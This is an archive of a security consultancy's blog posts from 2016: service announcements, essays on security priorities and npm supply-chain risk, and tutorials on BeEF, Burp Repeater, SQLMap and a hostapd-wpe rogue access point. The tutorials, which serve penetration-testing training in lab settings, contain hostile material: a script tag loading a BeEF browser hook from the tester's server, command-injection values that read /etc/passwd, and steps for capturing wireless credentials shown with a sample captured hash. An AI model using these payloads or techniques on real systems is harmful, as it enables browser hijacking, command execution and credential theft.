Incident Response services now available!

September 14th, 2016

Security Incident Response is like firefighting: it’s not something you need everyday, but when you need it, you want the best, and you want it fast.  We’re proud to announce our new cyber security incident response team, and we’d like to tell you what they do, and how best to utilize this new service. We call it SIRT – the Secure Ideas Response Team.

By helping to identify vulnerabilities and weaknesses within your network, we have worked with your organization to minimize the risk of a breach, and to limit the potential damage caused by such an occurrence. But cyber attacks are an inevitable reality of the world today.   We all have seen dramatic increases in cyber-attacks on American companies.  At Secure Ideas we want to prepare our customers for these business-disrupting events, and protect them from the incredibly high costs associated with a traditional breach recovery.

In the event of a security breach – like ransomware, a botnet, or other malware that brings down your business processes – you will need experts who have highly technical incident response training, and the equipment necessary to stabilize, recover, and restore your network environment. You need them fast.

SIRT is here to respond when a crippling attack happens.

Our focus is on stopping the emergency, stanching the flow of your data out of the network, and getting your critical systems back up, as fast as possible.

The costs associated with the restoration of a breach of business-critical systems can be in the millions. And that doesn’t include the costs resulting from customer liability claims, loss of intellectual property, or loss of revenue.

For Secure Ideas customers, there are two main ways you can engage this service: during an incident or on a retainer.

You could wait until you have an incident. When you do, you can give us a call, and SIRT will respond as quickly as they can.

But there are a few reasons why we recommend that you do not wait until you have an incident to take advantage of SIRT, and here’s the most important one:  It is much less expensive if you engage SIRT on a retainer.  We give SIRT customers a 24% discount on hourly rates if we have a retainer agreement in place. And, we bill for fewer hours, because we’ll already have a working knowledge of your network environment and we will have prepared for your emergency response.

Without an established relationship, we will have to begin the response with a rapid assessment, a questionnaire, and an exploratory evaluation of the network. Those take hours – hours that seem like days when you’re in the middle of an emergency.  For retainer customers, we conduct those exploratory questions and inventory in advance, at no cost. This means both that we will know what we are walking into when we receive your call, and that the overall costs of any response are lower:  when we respond to an incident, we charge by the hour – this preparation can save thousands.

SIRT Retainer customers get fast-track service. We promise our retainer customers a one-hour initial callback time, and priority scheduling. Which means we will be on site faster, working to minimize damage, and restore functionality.

We would love to discuss this with you, and send you the retainer agreement to review. Then we can get you in touch with our SIRT members, so that they can answer any questions you may have.  Feel free to reach out to us at info@secureideas.com.

 

A Brief BeEF Overview

September 8th, 2016

BeEF, the Browser Exploitation Framework,  is a testing tool that allows the penetration tester to look past hardened network perimeter and client system, and launch client side attacks directly against the targeted browsers providing pivot points to other systems.

In this guide I’ll be using Kali Linux, the penetration testing distribution created by the folks at Offensive Security. You can download an ISO or a VMWare image at www.kali.org.

For this example we are using version 0.4.6.1 of BeEF, in Kali run “apt-get update” to get the most recent version from the Kali maintainers. There may be features that you will need that are not available in this version, the BeEF website will have instructions on how to download and install those manually.

Kali makes installing BeEF very simple, you can use apt-get to install the package using:

root@kali:/# apt-get install beef-xss

After installation is complete we will navigate to directory beef resides in: /usr/share/beef-xss. Launch BeEF using the ./beef command and see the following. As you can see it is running on all network interfaces both internally and locally on port 3000.

cli copy

With BeEF now running we can navigate to the user interface panel at the URL: http://192.168.71.145:3000/ui/panel in the browser. This will redirect us to the authentication page, the default username and password: beef:beef.

auth copy

We are now logged in to BeEF and are presented with the Getting Started page.

getting started copy

Here BeEF will give you an overview of how it works including two demo pages.

The basic demo page:

basic demo copy

The advanced demo page:

advanced demo copy

As soon as either of these pages load the browser is hooked and we can now execute BeEF framework modules against it.

The BeEF hook is a JavaScript file hosted on the BeEF server that needs to run on client browsers. When it does, it calls back to the BeEF server communicating a lot of information about the target. It also allows additional commands and modules to be ran against the target.  In this example, the location of my BeEF hook is at http://192.168.71.145:3000/hook.js.

In order to attack a browser, we need to include our JavaScript hook in a page that the client will view. There are a number of ways to do that, but the easiest is to insert the following into a page and somehow get the client to open it.

<script src=”http://192.168.71.145:3000/hook.js” type=”text/javascript”></script>

In a real-world test, you could insert this link in a page via a compromised web server, inject it into traffic after a successful man-in-the-middle attack, or use social engineering techniques such as phone calls, emails, or social network links to get the target to visit the page.

Back in the BeEF user interface panel we will see a list of either online browsers or offline browsers that have been hooked and are present in BeEF logs. We will see our browser in the online browsers list. When we click on it BeEF will present us with 5 basic tabs: Details, Logs, Commands, Rider, and XssRays.

The Details tab will present us with details on the hooked browser and the host the browser is running on.

Details copy

The logs tab will show us shows us the a log of the events on that browser such a when it came online, mouse clicks within the page and user keystrokes. In the demo page I had typed “abcdef” in the text box, as you can see in the screenshot below those actions are all captured in the log.

log page copy

In the commands tab you will find a selection of commands and exploits that can be launched against your target. Each command has different colored icons that will indicate the validity of the command against that specific browser. Below is the definition of each color, this can be found on the Getting Started page.

command status

On the rider you can submit arbitrary HTTP requests on behalf of the hooked browser. The History panel records each request sent by the rider.

rider copy

The XssRays tab checks for XSS attack vulnerabilities on the page where the browser is hooked.
There is so much more you can do with BeEF. Experimentation is key to unlocking the different tools available in BeEF.

Doug Bigalke is a Security Consultant with Secure Ideas. If you are in need of an architecture review, penetration test, or other security consulting services you can contact him atdoug@secureideas.com, or visit the Secure Ideas site for services provided.

 

Burp Repeater

August 25th, 2016

As a consultant for Secure Ideas there are many tools I use often in my daily tasks.  One of the many great tools I use in web application testing is Burp Suite.

Burp Suite is an integrated platform for performing security testing of web applications.  Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities (‘https://portswigger.net/burp/’).  You may download it for free at http://portswigger.net.

During this demonstration I will be using a Virtual Machine of SamuraiWTF.  The Samurai Web Testing Framework is a virtual machine, supported on VirtualBox and VMWare, that has been pre-configured to function as a web pen-testing and training environment.  The VM contains the best of the open source and free tools that focus on testing and attacking websites. SamuraiWTF can be downloaded free of charge from https://sourceforge.net/projects/samurai/.

Be very mindful that if you start testing a web site without prior approval from the owner you could get yourself into a lot of trouble.  It’s kind of like going to your neighbor’s house sitting down at their kitchen table and having breakfast while they are still in bed on a Sunday morning.

Burp can require a lot of memory resources while testing.  I normally launch Burp by typing the following command at the command prompt:
‘java -Xmx4096m -jar {location of Burp jar file}’.  You can also select the application under Samurai/Mapping/Interception Proxies/Burp Suite in Samurai WTF VM.  Keep in mind that the Xmx option is setting the Java heap size, so if you have less than 8GB of memory, setting this to 4096M is probably not a good idea. 😉 For tips on setting up a Burp Automator script on your Mac, see our blog post on the topic.

If you have never installed Burp and are unfamiliar with the settings please refer to https://portswigger.net/burp/help/suite_gettingstarted.html to get it configured and set up for use.  Once launched select next and then start using Burp default settings then hit next and ensure intercept is off under the Proxy Tab.

Screen Shot 2016-08-22 at 8.44.39 AM

After you have Burp launched you may notice there are many tabs and features in Burp that serve different functions. The one tab we will discuss is the Repeater tab.  We will cover the others in further posts or you can join the web class on Burp Suite at http://www.secureideastraining.com.  Burp Repeater is a tool for manually modifying, reissuing individual HTTP requests, and analyzing their responses.  During our web penetration tests and our WebScout testing services, we use Repeater quite frequently as a method to manipulate various parameters within the application.  This allows us to manually test applications to discover a variety of flaws.  Especially with modern applications, this is a very important method for testing the security of the application.

Now let’s get to testing. First, we need to pick a web site and start mapping out the site.  I am using Firefox with Foxyproxy enabled and Burp Suite as my proxy on the Samurai WTF VM.

For this blog we are going to use bWAPP which is an intentionally buggy web application.  In Firefox navigate to http://bwapp/login.php, then log into bWAPP using bee/bug as the login. Start mapping out your site, by selecting all the different tabs throughout your application.

Screen Shot 2016-08-23 at 9.39.28 AM

In Burp under the Target tab right click on http://bwapp and add to scope.  By adding your target site to the scope, this will weed out any superfluous websites and keep your testing focused on what is in scope.

Screen Shot 2016-08-23 at 9.58.42 AM

One item I found while mapping the bWAPP site was an OS Command Injection hack.  This can be found under the bug list when logged in to bWAPP.

Screen Shot 2016-08-23 at 1.21.27 PM

I typed in my web site I wanted to lookup and then searched for the results in Burp.  Now I select the last entry in Burp’s Proxy tab which is where I performed the lookup and send that to Repeater by right clicking on the entry listed.

Screen Shot 2016-08-23 at 9.58.42 AM

Select the Repeater tab and then select Go, this will give you the current state of your page before anything is altered to give us a reference point.  This verifies the session is still active and the page does not block any replay of the request.  We want to compare what comes back in Repeater to what we received in our original request from the browser to make sure nothing has changed.

Now once the target parameter is sent to Repeater and we can manipulate the cookies login/password or any other interesting items in order to send this to other tools such as intruder, decoder or comparer.  These tools will be discussed in a later blog.

So let’s play around with this and see what happens when we add some things to the target field with “target=www.secureideas.com;ls -l” and select Go.  We can look at the results and see what was returned.

Screen Shot 2016-08-23 at 1.38.35 PM

Notice that we returned a directory file list of the website.  Now let’s dig a little further and change our target to “target=www.secureideas.com;cat /etc/passwd” and rerun the test.

Screen Shot 2016-08-23 at 1.51.03 PM

So using Repeater, we have discovered a Command Injection flaw within the application.  We can then take this information and pivot deeper into the server or the network we are targeting. So that is basically it for Burp Repeater.  It’s all about playing with different fields on the page and see what can be changed or manipulated to get a different result than intended?

In the next segment I will explore the Intruder tab another resourceful tool in Burp Suite which can be used to help in a Brute Force attack.  If you would like a more in depth tutorial on Burp please sign up for the Tactical Burp recorded class on the Secure Ideas web site at http://www.secureideastraining.com/courses.  If you have any questions or comments on my blog, feel free to reach out to us at https://www.secureideas.com or email me at larry@secureideas.com. 

 

Hours After The Penetration Test, This CSO Revealed Something That Will Leave You In Tears

August 18th, 2016

We all recognize clickbait when we see it. And yet thousands still click on the links. In today’s world of social media and ad-funded news, a range of techniques are utilized to grab your attention, some with more success than others. One of these, used in the title of this post, is to create a false sense of importance. Something significantly affected someone else and you need to know about it! The goal of all clickbait is to steal your focus and attention. We see the same thing in security.

The latest hot topics in security get the news coverage and ultimately the attention of readers. Often that filters down through corporate politics into the organization’s priorities. Sometimes that’s great. In April 2014, when the Heartbleed bug was announced, that got people’s attention for good reason. Suddenly patching became a priority and resources were diverted to addressing the threats. Though it’s worth asking why patching wasn’t such a priority previously.

Usually the latest news articles really shouldn’t affect information security policies. Occasionally during a penetration test we’ll be informed that the CEO (or other C-level) is concerned about Advanced Persistent Threats or some other random newsworthy topic, and wants to know what we have planned to simulate those attacks. Generally we find that those environments suffer from the most basic security flaws: no segmentation, lack of patching, default passwords, etc. APTs should be the least of their concerns, but because it’s in the news it directs their focus.

Whether it’s a news article, a blog post, or the build-up to the latest security conference, marketing professionals are focused on grabbing our attention. And they’re good at what they do. The problem is that very subtle manipulations, intended to make an article seem more important, have a negative effect on our credulity, our skepticism, and on the ways that we unwittingly make decisions about media-ized information. If we’re not careful, they can literally rewrite our thought patterns and change our intentions.

In reality, the security controls that made us better yesterday will still make us better today. Our focus should be on consistency and completeness rather than chasing the latest hot topic. The latest bug may mean that someone stays late to push some patches through, but it shouldn’t mean that we have to suddenly figure out how to patch systems that we never touch. Learning that Target was breached through a 3rd party HVAC vendor might prompt a review of firewall rules, but it shouldn’t cause a sudden awareness that segmentation is important.

The danger of chasing the latest threat is that it becomes a merry-go-round ride from which we can never escape. There will always be something else to worry about. Instead our corporate security programs should be well defined with intentional, incremental steps. Tomorrow’s newsmaker may warrant a review of how it fits into the plan of securing the organization, but rarely will it require us to drop everything to stave off disaster.

The oft-used adage is that security is a journey, not a destination. When we get distracted by current events, there’s a tendency to think, “We have to fix XYZ to be secure.” That thought is dangerous because it indirectly implies that security is a binary state of being. You are or you aren’t. In truth we can work towards becoming more secure, but we will never get there. It’s like a real-world example of Zeno’s Dichotomy paradox.

One last example of this false sense of importance is demonstrated with compliance initiatives. The goal of compliance is to demonstrate security through adherence to some standard. Unfortunately many organizations make compliance the end-goal instead of the security it was intended to affirm. This is often called the “Check the Box Mindset.” Corporate focus, and therefore resources, can be dedicated towards proving compliance, sometimes to the detriment of security initiatives. We often see this in assessments where clients want to significantly restrict the scope of testing to reduce the chance of negative findings. A better approach is be more inclusive of the testing scope, but allow us to write separate reports; one that covers only the compliant environment and another that speaks to the security of the entire system.

We live in a hostile world. Just as attackers are fighting for our networks, the media is fighting for our attention. And they both use incredibly creative means to divert our focus and exploit our tendencies. As security practitioners we have to intentionally set our plan and struggle to maintain it. Unexpected vulnerabilities and new attacks will occur, but very rarely should they require significant deviations to the plan.

Are you struggling to develop your security program, or not sure what to prioritize? Let us help. We work with organizations large and small to review your environment, outline areas of concern, and help build a strategy for improving your security posture.

Nathan Sweaney is a Senior Security Consultant with Secure Ideas. If you are in need of an architecture review, penetration test, or other security consulting services you can contact him at nathan@secureideas.com, on Twitter @eternalsecurity, or visit the Secure Ideas site for services provided.

 

SQLMap Beginnings: What and How

August 11th, 2016

Testing web based applications is not only fun but is often multi-faceted and challenging. Often times a web front end will have places for data input. Those that do, often store this information into some sort of back-end or database. The architecture will often be on a separate, dedicated purpose built host. This means that a connection from the web/application server [may be one or two separate hosts] must connect to the database in order to store or retrieve data. For firms that are data-centric in their business model, the data in the database may be some of the most sought after to unauthorized persons. This aspect of internet facing web based applications makes them a constant target. Not surprisingly, playing defense against the threat spectrum is a never ending game.

For those of us who are interested in protecting such data we must think like the ‘bad guys.’ This is an odd paradigm and admittedly, a bit uncomfortable at first for many. But since our goals are to find vulnerabilities and help in closing them before criminals do it becomes something we just do.

So when we encounter a situation where we suspect a database is being used, we want to be able to discover as much information as any nefarious person. This allows us to detect and understand what risk a vulnerability may expose our client to. In order to exploit any weakness, we first have to find it and before we do that we need to fingerprint the technology as much as possible. This work can be tedious but rewarding.

Knowing what technologies are being used help us narrow our focus. Is the application vulnerable to injection attacks? Can we bypass any security layers to obtain information from the database without using the correct credentials? The answer is,”it depends.” Experience will help but even that alone is often insufficient. What we need is a means for determining as much about the database as we can possibly obtain without triggering alarms. Not surprisingly, we often use tools for such tasks.

One such tool is SQLMap. It was made for obtaining data about a targeted database, which particular type of database is in place, how it is laid out, and if the application using the database is vulnerable to injection based attacks. SQLMap can perform such data gathering and more. It may also identify the operating system of the host where the database resides. For a web based target, It needs only a URL as input initially. Depending on what one finds, additional switches and options can be used to delve deeper into the target system.

Where do I obtain it?
There are several places to obtain SQLmap. You may download it and set it up on your platform of choice from the its web site SQLMap. Since the tool is written in Python, that must be installed before this tool will function. Python can be found at its own website but it is installed by default on several variants of Linux. No matter which platform you choose to use, ensure the version you select is the right one for the operating environment you wish to use.

SQLMap can be found pre-installed in the Samurai Web Testing Framework. Of course, we here at Secure Ideas are a bit biased when it comes to SamuraiWTF. SQLMap also comes with Kali – the open source Penetration Framework maintained and distributed by the team at Offensive Security.

Within Samurai WTF, SQLMap is located in the Exploitation/SQL folder or you can open a terminal and change to the /opt/samurai/sqlmap directory or select from the GUI:

While we won’t go into how to set up Kali or Samurai WTF, within Kali you will find SQLMap under both the ‘Web Application Analysis’ section as well as the ‘Database Assessment’ section.

sqlmap.in.kali

Getting Started
An alternative means of invoking SQLMap within Kali or SamuraiWTF is merely to type ‘sqlmap’ from a command line. Provided that Python is installed and in the PATH of the user context from which it is being invoked, it will be available. If using this method without switches, it will display its usage syntax. For example:

$python sqlmap

You will receive output that reminds you that the tool requires further parameters in order to operate. For example:

samuraiwtf@samuraiwtf-Desktop:~$ sqlmap
Usage: python sqlmap [options]
sqlmap: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, –wizard, –update, –purge-output or –dependencies), use -h for basic or -hh for advanced help

Note that there are several features that should be of particular interest in the output above. Firstly, the two ‘help’ switches ‘-h’ and ‘-hh’ are noteworthy because those will show basic help and advanced help respectively. The number of options are lengthy and will not all be covered here as they include options, target, requests, injection, detection, techniques, enumeration and other general information that we can use to pass to this tool.

However, the options that are listed after just invoking sqlmap show several switches that we can use to start using sqlmap.

If testing a web based application known or suspected of using a database, the minimum needed is the -u switch. This parameter followed by the uniform resource locator (URL) enclosed by double quote marks. This combination tells SQLMap the target we want it to interact with. An example would be:

$python sqlmap -u “http://www.secureideastraining.com/index.php?page=user-info.php”

In the above example the URL would be the target that you are authorized to test.

Now is a good time to mention that it is unethical and likely illegal to perform any sort of test of a site that you are not expressedly given written permission to do so. If you have not already done so, look into setting up your own virtual lab environment. Consider running virtual hosting software and running your own hosts to attack. One such applications is OWASP’s Mutillidae 2 Project. There are plenty of vulnerabilities intentionally included in Mutillidae so that you can run SQLMap against it. You could also use the variety of vulnerable targets built into the SamuraiWTF project.

For those who have never used this tool or are new to SQL databases, you may wish to use the ‘wizard’ switch. That is invoked by adding the –wizard to the end of the string noted above. For example:

$sqlmap -u “http://www.secureideastraining.com/index.php?page=user-info.php” –wizard

If used, you will be given several options to choose from regarding “injection difficulty level” and “Enumeration.” The selections are simple 1-3 choices and look like this:

[18:45:26] [INFO] starting wizard interface
POST data (–data) [Enter for None]: –data
Injection difficulty (–level/–risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (–banner/–current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
> 3

sqlmap is running, please wait..

One of the cool features of SQLMap is that it provides feedback on what other parameters that should be considered adding based on what it finds. For example”, the output from the –wizard selections that were selected above to run against a Mutillidae instance resulted in the following:

[18:51:16] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option ‘–time-sec’ as possible (e.g. 10 or more)
[19:41:12] [CRITICAL] all tested parameters appear to be not injectable. Try to increase ‘–level’/’–risk’ values to perform more tests. Also, you can try to rerun by providing either a valid value for option ‘–string’ (or ‘–regexp’) If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option ‘–tamper’ (e.g. ‘–tamper=space2comment’)

Note the suggestion to increase the level and risk values as well as the –string or –regexp, and even the –tamper options. Use the basic and advanced help features to explore additional options. SQLMap offers a rich feature set and the Security Professional should be familiar with its capabilities so it is well worth the time spent in learning to use it.

If you have any questions or comments, feel free to reach out at https://www.secureideas.com or email me at chris@secureideas.com. In the next segment I will explore some of the options that are useful in getting started with SQLinjection and SQLmap.

 

Announcing Tactical Sec Ops: Cloud Edition Online

August 3rd, 2016

2016 is shaping up to be an interesting and exciting time at Secure Ideas. We have always done training in one form or another. Many of you may have first heard of Secure Ideas through the training that we have done for organizations such as SANS, DerbyCon, Blackhat, OWASP, MISTI, Princeton University, Columbia University, and our webcasts. The evolution has continued this year and we are very proud to announce our first full length, on demand training class: Tactical Sec Ops: Cloud Edition!

This course is the same two-day course that we are launching at DerbyCon 6.0, but it will also be available via our online training platform! You can check the training site out by going to www.secureideastraining.com. Tactical Sec Ops: Cloud Edition will be released after DerbyCon at the end of September 2016!

So what is Tactical Sec Ops: Cloud Edition about? IT has changed quite a bit over the years and there has been a huge push to move systems to cloud computing. Unfortunately, a lot of what we are familiar with in security doesn’t translate real well to this model. Firewalls? Nope, now we have security groups. How about network IDS? Nope, we don’t have access to all our network traffic anymore. Fortunately, not everything is new and unfamiliar, so there’s a lot of common ground to build on!

TSO: CE is designed to jump start your understanding of Amazon’s AWS offerings specifically (and cloud computing in general) and covers how we can secure, monitor and assess our AWS based systems. Here are some of the highlights from the course:

  • Introduction to Cloud Computing and AWS
  • Understanding and Working with Elastic Cloud Computing (EC2)
  • Identity and Access Management (IAM) Basics
  • AWS API Setup and Usage
  • Amazon’s Simple Storage Service (S3)
  • Understanding Amazon Virtual Private Cloud (VPC)
  • Command Line Tools
  • Automation within AWS
  • Configuring AWS for Developers
  • Security Monitoring in AWS
  • Using the AWS WAF
  • Getting Familiar with AWS Inspector

TSO: CE is a hands-on class, so be prepared for exercises that will get you acquainted with AWS’ console and services. Labs will walk you through setting up, tuning and monitoring your cloud environment. If you would like to learn more about the class and get notified when the class becomes available, just complete the form below. We’ll keep you up to date on what’s going on and when registration is available. We are really excited to offer this course and are looking forward to seeing you in class!

Subscribe to receive notifications about Tactical Sec Ops: CE

* indicates required



I want to be notified with news about Tactical Sec Ops: CE


 

Wireless Attacking EAP-TTLS with Kali 2 and ALFA AWUS051NH

May 16th, 2016

Is your corporate wifi as secure as you think it is?

A common configuration for WPA Enterprise wireless networks is to use a combination of PEAP (Protected EAP) and EAP-TTLS (Tunneled Transport Layer Security). Though this configuration solves several issues found in other configurations, it (sometimes) also has its own fatal flaw. If a client is able to connect without properly verifying the authenticity of the access point (through its certificate), then there is an opportunity to capture the username and handshake. This information can be used to attempt to crack the user’s password offline using a password dictionary. To capture the necessary information we will need to set up a rogue access point (AP) that masquerades as the target AP. Setting up the rogue AP can be a bit of a challenge, so this blog post is a walkthrough of a rogue AP setup on Kali 2.

The rogue AP we will use for this purpose is a modified version of the open source FreeRADIUS server, currently called hostapd-wpe (hostapd Wireless Pwnage Edition). The modifications were developed by Joshua Wright and Brad Antoniewicz.

Installing hostapd-wpe:

To get this solution running on Kali 2, you first need to be sure you are using the rolling sources. At a minimum, you must add the following line to your /etc/apt/sources.list file if it is not already there:

deb http://http.kali.org/kali kali-rolling main contrib non-free

More details about the rolling sources can be found on the Kali docs website. My understanding is that the current recommendation is to move over to rolling repositories exclusively, but that decision is outside of the scope of this post.

If you had to make any changes to your sources, you will want to do a apt-get clean

Then to install hostapd-wpe you will want to do:

apt-get update
apt-get install hostapd-wpe

A sample configuration file will be produced at: /etc/hostapd-wpe/hostapd-wpe.conf. In most cases this file will require modifications before it can be used. Since this is a rogue AP used for a wireless assessment or pentesting engagement and not meant to be run as a service, it is easy enough to run it with a custom configuration file for the current engagement. So the easy way to manage this is to copy that file into an engagement working directory so that we have a record of the configuration used for the test. Then we simply edit the copy.

Verify your wireless interface:

Before we start editing the configuration file we should verify the name of our wireless interface. Typically this is wlan0 but if working with multiple cards it may be something else (e.g. wlan1, wlan2, etc…). You can use the iwconfig command to list wireless interfaces. If you don’t see any wireless interface listed, you may need to unplug and replug the USB adapter. This sometimes happens if running Kali inside a virtual machine.

Configuring hostapd-wpe:

The configuration file changes you will need to consider include:

  • interface=wlan0 Set this to your wireless interface, usually wlan0.
  • #driver=wired This is the default setting and must be commented out if using a wireless adapter (which is usually the case).
  • ssid=impersonated_ssid Uncomment and set this value to the SSID that is being impersonated.
  • hw_mode=g Uncomment and set to the value g for wireless g or n. Other values (e.g. a, b, ad) are possible. Ideally this should match the ap being impersonated.
  • channel=1 Uncomment and set to whichever channel you want to broadcast you ap. Often this is 1 or 6.
  • wpa=2 This should be set to 2 for wireless g, and 3 to support wireless n.
  • wpa_pairwise=TKIP CCMP This may need to be modified to match the ap being impersonated. Removing TKIP from the list is likely for modern configurations.

“Unmanage” your wireless adapter:

With the configuration file ready to go there is still one step left before we can turn on the server. By default Kali will probably have the NetworkManager service running, which is going to try to manage the state of our wireless interface for us. This makes it impossible to switch to AP mode, which is what we need. To address this, we can tell the NetworkManager service to ignore our device. This is done by modifying the /etc/NetworkManager/NetworkManager.conf file and adding the following section:

[keyfile]
unmanaged-devices=mac:00:aa:bb:cc:dd:ee

Note that the 00:aa:bb:cc:dd:ee should be the mac address of the ALFA. Multiple addresses can be specified if separated by a semicolon (i.e. ‘;’).

Once this change is made, unplug the USB, wait a few seconds, and plug it back in. The led on the ALFA should not be lit. The follow these steps:

  • Type iwconfig to verify that the device and interface was recognized.
  • Type ifconfig to verify that the interface is not up (it should not be listed).
  • Type the following command, replacing wlan0 with your interface: ip link set wlan0 up
  • Type ifconfig to verify that the interface is up (it should now be present). The led on the device should now be illuminated.

Start the rogue server:

If all of this works, you should be ready to go. Simply type:
hostapd-wpe ./hostapd-wpe.conf

Remember to replace ./hostapd-wpe.conf with the path to your custom configuration file.

You can test connecting to the rogue AP with any wireless device. Login will, of course, fail and you should get a certificate prompt, which is fine since most target users will click through and accept a bad cert. If all this passes you should start seeing stuff show up in the logs. A successfully collected credential will look something like:

mschapv2: Thu May 5 12:48:51 2016
username: test
    challenge: 35:30:33:52:07:d1:8c:78
    response: b8:53:4b:77:a5:a9:b2:ae:53:33:72:88:e4:d0:39:72:48:02:67:9b:b6:09:5f:c7
    jtr NETNTLM: test:$NETNTLM$3530335207d18c78$b8534b77a5a9b2ae53337288e4d039724802679bb6095fc7
wlan0: CTRL-EVENT-EAP-FAILURE 08:74:02:5d:de:86

The values from the challenge and response can then be fed into the asleap tool, also written by Joshua Wright and also present Kali 2.

Closing Notes:

If you are trying to do something that is not covered in this blog post, I would encourage you to take a look at the latest edition of Hacking Exposed Wireless, by Joshua Wright and Johnny Cache. That is where I found much of the information covered in this blog post.

Jason Gillam is a Principal Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at jgillam@secureideas.com, on Twitter @JGillam, or visit the Secure Ideas – ProfessionallyEvil site for services provided.

 

Whose Code Are You Running?

April 14th, 2016

One of my favorite ways to eat Oreo cookies is to twist the two halves apart, carefully set the filling aside, eat both chocolate halves, and then slowly enjoy the indulgent filling. Without milk, this is by far the best way to fully indulge in both parts of the cookie. But with a glass of milk the implementation changes. Not only is it harder to dunk the separate pieces, but the actual taste of the whole cookie soaked in milk seems much better than the sum of its parts.

In many organizations, Development and Security are two parts of a cookie. Individually they’ve both incredibly important, but too many miss the incredible combined experience. Often both sides hold fast to a false sense of superiority that would’ve made Dr. Seuss’ Sneetches proud.  In fact it’s very common for us to witness clashes between the two teams when it comes to penetration tests or discussing flaws.

When I was first introduced to information security, someone told me that developers focus on finding one way to make something work while security folks focus on finding all the possible ways that could break it. I don’t believe that’s fair. At the end of the day I think we’re all focused on making things better; we just come at it from different perspectives. Developers tend to focus on improving the experience of legitimate users while Security has the goal of preventing the experience of illegitimate users. Two parts of the same cookie you might say.

With this dualistic approach in mind, consider the recent fiasco surrounding the unpublished Kik module on the popular NPM JavaScript package manager. If you’re not familiar with the story, an angry open source developer, bitter over the loss of a module name (kik) to the company that owns the trademark, decided to unpublish all of his 273 published modules. Most of these were unimportant and unnoticed, but one, left-pad, was used extensively throughout the JavaScript world. NPM reported nearly 2.5 million downloads of left-pad in the month prior to this event.

If you’re not familiar with modern-day JavaScript development, it’s very common for libraries to have dependencies that require dependencies that require dependencies in a seemingly unending cascade of code. Each project is like a giant pyramid that only stands if each stone is placed in exactly the right spot. When the left-pad stone was removed, literally thousands of software projects came crashing down. Companies as large as Facebook, Netflix, and Spotify were affected, all because of a rather simple 11-line bit of missing code.

A plethora of blog posts and forum rants have since come out explaining and justifying the actions of each party to this exciting debacle. Like any good philosophical flame war, both sides of the debates have good points. But there is one angle that hasn’t been well covered. This whole situation was predicated on the accepted norm of using third party code, delivered via package managers, within commercial production applications.

Follow along with me for just a moment. This young man, Azer Koçulu, published open source code that was not only used by Fortune 500 companies, but was hosted by a third party package manager so that those commercial projects depended on the existence and maintenance of the hosted packages.

In this particular case, Mr. Koçulu simply unpublished the modules. But what if instead he had updated his modules to contain malicious code? What if he used something like the Browser Exploitation Framework or something worse that injected actual malware attacks into the pages serving his code? Such changes surely would’ve been detected quickly, but out of 2.5 million downloads in one month, how many of those sites would’ve been pushed to production or used in development before it was discovered? If combined with a targeted zero-day exploit, imagine the value of a bot-net that consists of developers and clients of some of the largest websites in the world.

Traditionally information security has been boiled down to a triad of key concepts: confidentiality, integrity, and availability. Though that simplistic breakdown is somewhat antiquated, it still serves the purpose of providing a reasonable understanding of the goals of security.  Infosec professionals are focused on improving these key areas rather than just saying “No” for the sake of some miserly power-trip. Unfortunately we don’t always do a good job of communicating in those terms.

This missing left-pad incident has demonstrated a situation in which developers across the world are suddenly reconsidering the impact to availability by depending on a third-party package manager like NPM for production code. The topics prompted by this even won’t go away anytime soon. However this experience should also cause us to question the impact on our systems’ integrity. If we allow third party code to be updated and integrated into an application without re-vetting the updates, how can we trust the integrity of the application or its data?  (spoiler: we can’t.)

The issue of malicious third party code isn’t unique to the NPM JavaScript package manager either. There’s a wide range of applications and systems that depend on third-party package managers to host and maintain code from a mind-boggling array of open source developers. Take Debian for example. The linux distribution has a very defined process for maintaining standards across package updates, but almost nothing is done to validate the security of the code in those packages. If a maintainer “goes rogue” and introduces malicious code, there are defined processes in place to handle the situation once detected, but nothing to catch it before it affects users.

The same could be said for app stores such as Google’s Play and Apple’s App Store. In each case, some degree of security review may take place, but there’s no way they can accurately review every line of each application for security issues. Many of us may be mindful of what applications we install, but we just assume that application updates are supposed to be safe.

Even if we had reason to trust certain developers or modules, we have no way to know that each update actually comes from the original developer. The cyber attack division of a nation-state could easily look for popular open source modules or applications that can be purchased from the owners. In some cases overworked owners may even just handover the reigns to a project if someone appears genuinely interested in seeing it maintained. Over time a very powerful arsenal could be built without anyone ever realizing it. When necessary, those packages could be weaponized and targeted and take advantage of our regimented patching schedules. By the time anyone realized what happened, it would be too late.

I’ll take off the conspiracy theory hat for a bit. I think it’s safe to assume that most developers are not the unknowing pawns of some malicious nation-state. But it’s important to realize that most security vulnerabilities are found by assuming the worst-case rather than the best-case.

So what do we do about it? To a large degree, there’s not much we can do. Our entire system has been built, literally from the hardware up, on the idea of trusting others. That’s bad enough for hardware, but when we move to software and its collaborative nature it becomes ridiculously unfeasible to even consider any sort of standardized security testing for every application patch or update, especially in the open source world.

In some cases, such as the NPM JavaScript modules, it may be reasonable to not allow dependencies on third party code, or to integrate a code review into all third-party libraries before use. But that would be difficult and often impractical to sustain.

For application updates from 3rd packages, I think we just have to recognize the threat and prepare appropriately. For example it should be assumed that a sufficiently devoted adversary is going to compromise a system. While we should take reasonable steps to prevent that from happening, our goal should be to monitor, detect, and respond to the intrusion before serious damage can be done. Building those probabilities into our threat models provides a more practical estimate of business risk assessments.

I don’t see third-party package managers, or the associated risks, going away anytime soon.  But we can all do a better job of understanding where our packages come from and who we’re trusting.

Nathan Sweaney is a Senior Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at nathan@secureideas.com, on Twitter @eternalsecurity, or visit the Secure Ideas – ProfessionallyEvil site for services provided.

 

Professionally Evil Insights: 2015

April 5th, 2016

Are you interested in knowing which vulnerabilities are the most commonly discovered in penetration tests?  How about which industries are doing the best (or worst) with improving on their security programs?  We pulled together all of our 2014 and 2015 findings, analyzed the results, and came up with some interesting (at least we think so) insights.  Welcome to our first ever findings report:

Professionally Evil Insights: 2015

Jason Gillam is a Principal Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at jgillam@secureideas.com, on Twitter @JGillam, or visit the Secure Ideas – ProfessionallyEvil site for services provided.

 

